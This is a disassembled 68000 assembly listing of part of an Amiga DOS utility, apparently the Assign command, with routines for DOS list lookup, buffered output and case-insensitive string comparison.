DC.W $566F ;0E02
DC.W $6C75 ;0E04
DC.W $6D65 ;0E06
MOVE -(A0),D5 ;0E08: 3A20
DC.W $0000 ;0E0A
LAB_00A9:
DC.W $3F3F ;0E0C
MOVE D0,-(A7) ;0E0E: 3F00
LAB_00AA:
DC.W $4173 ;0E10
DC.W $7369 ;0E12
BEQ.S LAB_00B1 ;0E14: 676E
DC.W $2077 ;0E16
DC.W $6F75 ;0E18
BGE.S LAB_00B0 ;0E1A: 6C64
DC.W $2072 ;0E1C
BCS.S LAB_00B1+2 ;0E1E: 6566
BCS.S LAB_00B4+2 ;0E20: 6572
DC.W $2074 ;0E22
BLE.S LAB_00AC ;0E24: 6F20
BVS.S LAB_00B7 ;0E26: 6974
DC.W $7365 ;0E28
BGE.S LAB_00B4 ;0E2A: 6C66
DC.W $0A00 ;0E2C
LAB_00AB:
LINK A5,#-264 ;0E2E: 4E55FEF8
MOVEM.L D2-D3/D7/A2-A3/A6,-(A7) ;0E32: 48E73132
MOVE.L D0,D7 ;0E36: 2E00
MOVEA.L A1,A3 ;0E38: 2649
MOVE.L A0,-264(A5) ;0E3A: 2B48FEF8
TST.L D7 ;0E3E: 4A87
BEQ LAB_00B9 ;0E40: 67000082
MOVE.L D7,D0 ;0E44: 2007
LAB_00AC:
ASL.L #2,D0 ;0E46: E580
MOVEA.L D0,A0 ;0E48: 2040
MOVE.L 16(A0),D1 ;0E4A: 22280010
ASL.L #2,D1 ;0E4E: E581
MOVEA.L D1,A2 ;0E50: 2441
MOVE.L A2,D0 ;0E52: 200A
BEQ.S LAB_00AD ;0E54: 6706
TST.L 8(A2) ;0E56: 4AAA0008
BNE.S LAB_00B6 ;0E5A: 663C
LAB_00AD:
MOVEQ #8,D0 ;0E5C: 7008
LEA LAB_00A8(PC),A0 ;0E5E: 41FAFFA2
MOVEA.L A3,A1 ;0E62: 224B
LAB_00AE:
BSR LAB_00BA ;0E64: 61000072
MOVE.L A2,D0 ;0E68: 200A
BEQ.S LAB_00B3 ;0E6A: 671E
LAB_00AF:
MOVE.L 40(A2),D0 ;0E6C: 202A0028
ASL.L #2,D0 ;0E70: E580
MOVEA.L D0,A0 ;0E72: 2040
LEA 1(A0),A1 ;0E74: 43E80001
MOVE.B (A0),D1 ;0E78: 1210
EXT D1 ;0E7A: 4881
EXT.L D1 ;0E7C: 48C1
MOVE.L D1,D0 ;0E7E: 2001
LAB_00B0:
MOVEA.L A1,A0 ;0E80: 2049
MOVEA.L A3,A1 ;0E82: 224B
LAB_00B1:
BSR LAB_00BA ;0E84: 61000052
BRA.S LAB_00B9 ;0E88: 603A
LAB_00B3:
MOVEQ #3,D0 ;0E8A: 7003
LEA LAB_00A9(PC),A0 ;0E8C: 41FAFF7E
MOVEA.L A3,A1 ;0E90: 224B
LAB_00B4:
BSR LAB_00BA ;0E92: 61000044
BRA.S LAB_00B9 ;0E96: 602C
LAB_00B6:
CLR.B -260(A5) ;0E98: 422DFEFC
LAB_00B7:
MOVE.L D7,D1 ;0E9C: 2207
LEA -260(A5),A0 ;0E9E: 41EDFEFC
MOVE.L A0,D2 ;0EA2: 2408
MOVEQ #0,D3 ;0EA4: 7600
NOT.B D3 ;0EA6: 4603
MOVEA.L -264(A5),A6 ;0EA8: 2C6DFEF8
JSR -402(A6) ;0EAC: 4EAEFE6E
MOVEA.L D2,A0 ;0EB0: 2042
LAB_00B8:
TST.B (A0)+ ;0EB2: 4A18
BNE.S LAB_00B8 ;0EB4: 66FC
SUBQ.L #1,A0 ;0EB6: 5388
SUBA.L D2,A0 ;0EB8: 91C2
MOVE.L A0,D0 ;0EBA: 2008
MOVEA.L D2,A0 ;0EBC: 2042
MOVEA.L A3,A1 ;0EBE: 224B
BSR LAB_00BA ;0EC0: 61000016
LAB_00B9:
MOVEQ #1,D0 ;0EC4: 7001
LEA LAB_009B(PC),A0 ;0EC6: 41FAFEF8
MOVEA.L A3,A1 ;0ECA: 224B
BSR LAB_00BA ;0ECC: 6100000A
MOVEM.L (A7)+,D2-D3/D7/A2-A3/A6 ;0ED0: 4CDF4C8C
UNLK A5 ;0ED4: 4E5D
RTS ;0ED6: 4E75
LAB_00BA:
LINK A5,#-16 ;0ED8: 4E55FFF0
MOVEM.L D7/A2-A3/A6,-(A7) ;0EDC: 48E70132
MOVE.L D0,D7 ;0EE0: 2E00
MOVEM.L A0-A1,-16(A5) ;0EE2: 48ED0300FFF0
MOVEA #$0004,A0 ;0EE8: 307C0004
MOVEA.L (A0),A2 ;0EEC: 2450
MOVEA.L -12(A5),A0 ;0EEE: 206DFFF4
MOVEA.L (A0),A3 ;0EF2: 2650
MOVE.L 8(A3),D0 ;0EF4: 202B0008
TST.L D0 ;0EF8: 4A80
BPL.S LAB_00BB ;0EFA: 6A04
MOVEQ #1,D0 ;0EFC: 7001
BRA.S LAB_00C2 ;0EFE: 6070
LAB_00BB:
MOVE.L 8(A3),D0 ;0F00: 202B0008
ADD.L D7,D0 ;0F04: D087
CMP.L 12(A3),D0 ;0F06: B0AB000C
BLT.S LAB_00BF ;0F0A: 6D48
MOVE.L (A3),D0 ;0F0C: 2013
BEQ.S LAB_00BC ;0F0E: 6704
MOVEA.L D0,A3 ;0F10: 2640
BRA.S LAB_00BE ;0F12: 602C
LAB_00BC:
MOVE.L #$00000410,D0 ;0F14: 203C00000410
MOVEQ #0,D1 ;0F1A: 7200
MOVEA.L A2,A6 ;0F1C: 2C4A
JSR -198(A6) ;0F1E: 4EAEFF3A
MOVE.L D0,(A3) ;0F22: 2680
BNE.S LAB_00BD ;0F24: 660A
MOVEQ #-1,D1 ;0F26: 72FF
MOVE.L D1,8(A3) ;0F28: 27410008
MOVEQ #1,D0 ;0F2C: 7001
BRA.S LAB_00C2 ;0F2E: 6040
LAB_00BD:
MOVEA.L (A3),A1 ;0F30: 2253
MOVE.L #$00000400,12(A1) ;0F32: 237C00000400000C
MOVEA.L A1,A3 ;0F3A: 2649
SUBA.L A1,A1 ;0F3C: 93C9
MOVE.L A1,(A3) ;0F3E: 2689
LAB_00BE:
MOVEQ #0,D0 ;0F40: 7000
MOVE.L D0,8(A3) ;0F42: 27400008
LEA 16(A3),A0 ;0F46: 41EB0010
MOVE.L A0,4(A3) ;0F4A: 27480004
MOVEA.L -12(A5),A1 ;0F4E: 226DFFF4
MOVE.L A3,(A1) ;0F52: 228B
LAB_00BF:
MOVEA.L 4(A3),A0 ;0F54: 206B0004
ADDA.L 8(A3),A0 ;0F58: D1EB0008
MOVE.L D7,D0 ;0F5C: 2007
MOVEA.L -16(A5),A1 ;0F5E: 226DFFF0
BRA.S LAB_00C1 ;0F62: 6002
LAB_00C0:
MOVE.B (A1)+,(A0)+ ;0F64: 10D9
LAB_00C1:
SUBQ.L #1,D0 ;0F66: 5380
BCC.S LAB_00C0 ;0F68: 64FA
ADD.L D7,8(A3) ;0F6A: DFAB0008
MOVEQ #0,D0 ;0F6E: 7000
LAB_00C2:
MOVEM.L (A7)+,D7/A2-A3/A6 ;0F70: 4CDF4C80
UNLK A5 ;0F74: 4E5D
RTS ;0F76: 4E75
LAB_00C3:
LINK A5,#-12 ;0F78: 4E55FFF4
MOVEM.L D2/D7/A2-A3/A6,-(A7) ;0F7C: 48E72132
MOVEA.L A1,A3 ;0F80: 2649
MOVE.L A0,-12(A5) ;0F82: 2B48FFF4
BRA.S LAB_00CB ;0F86: 6058
LAB_00C4:
MOVE.L 8(A3),D0 ;0F88: 202B0008
TST.L D0 ;0F8C: 4A80
BLE.S LAB_00C9 ;0F8E: 6F40
MOVEA.L 4(A3),A2 ;0F90: 246B0004
MOVE.L D0,D7 ;0F94: 2E00
BRA.S LAB_00C8 ;0F96: 6032
LAB_00C5:
MOVE.L #$00001000,D1 ;0F98: 223C00001000
MOVEA.L -12(A5),A6 ;0F9E: 2C6DFFF4
JSR -792(A6) ;0FA2: 4EAEFCE8
TST.L D0 ;0FA6: 4A80
BEQ.S LAB_00C6 ;0FA8: 6708
MOVE.L #$00000130,D0 ;0FAA: 203C00000130
BRA.S LAB_00CC ;0FB0: 6032
LAB_00C6:
MOVEQ #100,D0 ;0FB2: 7064
CMP.L D0,D7 ;0FB4: BE80
BGT.S LAB_00C7 ;0FB6: 6E02
MOVE.L D7,D0 ;0FB8: 2007
LAB_00C7:
MOVE.L D0,D2 ;0FBA: 2400
MOVE.L A2,D1 ;0FBC: 220A
JSR -942(A6) ;0FBE: 4EAEFC52
MOVEQ #100,D0 ;0FC2: 7064
SUB.L D0,D7 ;0FC4: 9E80
ADDA #$0064,A2 ;0FC6: D4FC0064
LAB_00C8:
TST.L D7 ;0FCA: 4A87
BGT.S LAB_00C5 ;0FCC: 6ECA
BRA.S LAB_00CA ;0FCE: 600A
LAB_00C9:
MOVE.L 8(A3),D0 ;0FD0: 202B0008
BEQ.S LAB_00CC ;0FD4: 670E
MOVEQ #103,D0 ;0FD6: 7067
BRA.S LAB_00CC ;0FD8: 600A
LAB_00CA:
CLR.L 8(A3) ;0FDA: 42AB0008
MOVEA.L (A3),A3 ;0FDE: 2653
LAB_00CB:
MOVE.L A3,D0 ;0FE0: 200B
BNE.S LAB_00C4 ;0FE2: 66A4
LAB_00CC:
MOVEM.L (A7)+,D2/D7/A2-A3/A6 ;0FE4: 4CDF4C84
UNLK A5 ;0FE8: 4E5D
RTS ;0FEA: 4E75
LAB_00CD:
LINK A5,#-64 ;0FEC: 4E55FFC0
MOVEM.L D2-D3/D5-D7/A2-A3/A6,-(A7) ;0FF0: 48E73732
MOVEA.L 8(A5),A3 ;0FF4: 266D0008
MOVE.L D0,D7 ;0FF8: 2E00
MOVEM.L A0-A1,-60(A5) ;0FFA: 48ED0300FFC4
MOVEQ #0,D6 ;1000: 7C00
MOVEQ #17,D1 ;1002: 7211
MOVEA.L -60(A5),A6 ;1004: 2C6DFFC4
JSR -654(A6) ;1008: 4EAEFD72
MOVE.L D0,32(A7) ;100C: 2F400020
TST.L D0 ;1010: 4A80
BNE.S LAB_00CE ;1012: 660A
LEA LAB_008D(PC),A0 ;1014: 41FAFD14
MOVE.L A0,D0 ;1018: 2008
BRA LAB_00D8 ;101A: 600000BC
LAB_00CE:
CLR.L -16(A5) ;101E: 42ADFFF0
LSR.L #2,D7 ;1022: E48F
MOVEA.L 12(A5),A2 ;1024: 246D000C
BRA LAB_00D6 ;1028: 6000009A
LAB_00CF:
LEA -47(A5),A0 ;102C: 41EDFFD1
MOVEA.L A3,A1 ;1030: 224B
BSR LAB_00D9 ;1032: 610000AC
MOVEA.L D0,A3 ;1036: 2640
MOVEA.L A3,A0 ;1038: 204B
MOVE.L A0,-16(A5) ;103A: 2B48FFF0
BNE LAB_00D7 ;103E: 6600008C
MOVE.B -47(A5),D0 ;1042: 102DFFD1
TST.B D0 ;1046: 4A00
BEQ LAB_00D7 ;1048: 67000082
MOVEA.L -56(A5),A0 ;104C: 206DFFC8
LEA -47(A5),A1 ;1050: 43EDFFD1
JSR LAB_00E2(PC) ;1054: 4EBA00D8
TST.L D0 ;1058: 4A80
BNE.S LAB_00D0 ;105A: 6606
LEA LAB_00AA(PC),A3 ;105C: 47FAFDB2
BRA.S LAB_00D7 ;1060: 606A
LAB_00D0:
MOVE.L 32(A7),D1 ;1062: 222F0020
LEA -47(A5),A0 ;1066: 41EDFFD1
MOVE.L A0,D2 ;106A: 2408
MOVEQ #16,D3 ;106C: 7610
MOVEA.L -60(A5),A6 ;106E: 2C6DFFC4
JSR -684(A6) ;1072: 4EAEFD54
MOVEA.L D0,A2 ;1076: 2440
MOVEA.L -16(A5),A3 ;1078: 266DFFF0
MOVE.L A2,D0 ;107C: 200A
BEQ.S LAB_00D7 ;107E: 674C
MOVE.L 4(A2),D0 ;1080: 202A0004
MOVEQ #4,D1 ;1084: 7204
CMP.L D1,D0 ;1086: B081
BEQ.S LAB_00D1 ;1088: 6704
SUBQ.L #3,D0 ;108A: 5780
BNE.S LAB_00D7 ;108C: 663E
LAB_00D1:
MOVEQ #0,D5 ;108E: 7A00
MOVEA.L 12(A5),A3 ;1090: 266D000C
BRA.S LAB_00D4 ;1094: 6010
LAB_00D2:
MOVEA.L (A3),A0 ;1096: 2053
CMPA.L A2,A0 ;1098: B1CA
BNE.S LAB_00D3 ;109A: 6606
LEA LAB_00AA(PC),A3 ;109C: 47FAFD72
BRA.S LAB_00D7 ;10A0: 602A
LAB_00D3:
ADDQ.L #1,D5 ;10A2: 5285
ADDQ.L #4,A3 ;10A4: 588B
LAB_00D4:
CMP.L D6,D5 ;10A6: BA86
BLT.S LAB_00D2 ;10A8: 6DEC
CMP.L D7,D6 ;10AA: BC87
BLT.S LAB_00D5 ;10AC: 6D06
LEA LAB_008D(PC),A3 ;10AE: 47FAFC7A
BRA.S LAB_00D7 ;10B2: 6018
LAB_00D5:
ADDQ.L #1,D6 ;10B4: 5286
MOVEA.L -52(A5),A0 ;10B6: 206DFFCC
MOVE.L A2,(A0) ;10BA: 208A
MOVEA.L 16(A2),A3 ;10BC: 266A0010
LEA 4(A0),A2 ;10C0: 45E80004
LAB_00D6:
MOVE.L A2,-52(A5) ;10C4: 2B4AFFCC
BRA LAB_00CF ;10C8: 6000FF62
LAB_00D7:
MOVEQ #17,D1 ;10CC: 7211
MOVEA.L -60(A5),A6 ;10CE: 2C6DFFC4
JSR -660(A6) ;10D2: 4EAEFD6C
MOVE.L A3,D0 ;10D6: 200B
LAB_00D8:
MOVEM.L (A7)+,D2-D3/D5-D7/A2-A3/A6 ;10D8: 4CDF4CEC
UNLK A5 ;10DC: 4E5D
RTS ;10DE: 4E75
LAB_00D9:
MOVEM.L D7/A2-A3,-(A7) ;10E0: 48E70130
MOVEA.L A0,A3 ;10E4: 2648
MOVEA.L A1,A2 ;10E6: 2449
MOVEQ #0,D7 ;10E8: 7E00
BRA.S LAB_00DB ;10EA: 6002
LAB_00DA:
ADDQ.L #1,D7 ;10EC: 5287
LAB_00DB:
MOVE.B 0(A2,D7.L),D0 ;10EE: 10327800
BEQ.S LAB_00DC ;10F2: 6706
MOVEQ #58,D1 ;10F4: 723A
CMP.B D1,D0 ;10F6: B001
BNE.S LAB_00DA ;10F8: 66F2
LAB_00DC:
TST.B 0(A2,D7.L) ;10FA: 4A327800
BNE.S LAB_00DD ;10FE: 6606
CLR.B (A3) ;1100: 4213
MOVEQ #0,D0 ;1102: 7000
BRA.S LAB_00E1 ;1104: 6022
LAB_00DD:
MOVEQ #30,D0 ;1106: 701E
CMP.L D0,D7 ;1108: BE80
BLT.S LAB_00DE ;110A: 6D08
LEA LAB_008D(PC),A0 ;110C: 41FAFC1C
MOVE.L A0,D0 ;1110: 2008
BRA.S LAB_00E1 ;1112: 6014
LAB_00DE:
MOVE.L D7,D0 ;1114: 2007
MOVEA.L A2,A0 ;1116: 204A
MOVEA.L A3,A1 ;1118: 224B
BRA.S LAB_00E0 ;111A: 6002
LAB_00DF:
MOVE.B (A0)+,(A1)+ ;111C: 12D8
LAB_00E0:
SUBQ.L #1,D0 ;111E: 5380
BCC.S LAB_00DF ;1120: 64FA
CLR.B 0(A3,D7.L) ;1122: 42337800
MOVEQ #0,D0 ;1126: 7000
LAB_00E1:
MOVEM.L (A7)+,D7/A2-A3 ;1128: 4CDF0C80
RTS ;112C: 4E75
LAB_00E2:
MOVEQ #0,D0 ;112E: 7000
MOVEQ #0,D1 ;1130: 7200
LAB_00E3:
MOVE.B (A0)+,D0 ;1132: 1018
MOVE.B (A1)+,D1 ;1134: 1219
CMP.B #$61,D0 ;1136: B03C0061
BLT.S LAB_00E4 ;113A: 6D0A
CMP.B #$7A,D0 ;113C: B03C007A
BGT.S LAB_00E4 ;1140: 6E04
SUBI.B #$20,D0 ;1142: 04000020
LAB_00E4:
CMP.B #$61,D1 ;1146: B23C0061
BLT.S LAB_00E5 ;114A: 6D0A
CMP.B #$7A,D1 ;114C: B23C007A
BGT.S LAB_00E5 ;1150: 6E04
SUBI.B #$20,D1 ;1152: 04010020
LAB_00E5:
SUB.L D1,D0 ;1156: 9081
BNE.S LAB_00E6 ;1158: 6604
TST.B D1 ;115A: 4A01
BNE.S LAB_00E3 ;115C: 66D4
LAB_00E6:
RTS ;115E: 4E75
ORI.B #$00,D0 ;1160: 00000000
END